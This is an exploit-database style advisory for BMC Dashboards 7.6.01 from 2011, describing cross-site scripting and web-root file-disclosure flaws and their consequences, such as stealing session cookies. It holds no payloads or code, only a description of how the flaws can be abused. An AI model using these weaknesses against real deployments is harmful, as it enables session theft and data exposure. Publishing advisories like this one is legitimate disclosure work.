Description: BMC Dashboards 7.6.01 - Cross-Site Scripting / Information Disclosure
Type: webapps
Platform: jsp
Date: 2011-05-05
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/47731/info

BMC Dashboards is prone to to multiple information-disclosure and cross-site scripting issues because the application fails to properly sanitize user-supplied input.

A remote attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Exploiting the information-disclosure issues allows the attacker to view local files within the context of the webserver process.

Consequences:
An attacker may be able to cause execution of malicious scripting code
in the browser of a user who clicks on a link to Remedy Knowledge
Management based site. Such code would run within the security context
of the target domain. This type of attack can result in non-persistent
defacement of the target site, or the redirection of confidential
information (i.e.: session IDs) to unauthorised third parties. No
authentication is required to exploit this vulnerability.

2) Application is vulnerable to file source code reading limited to the
web-root.
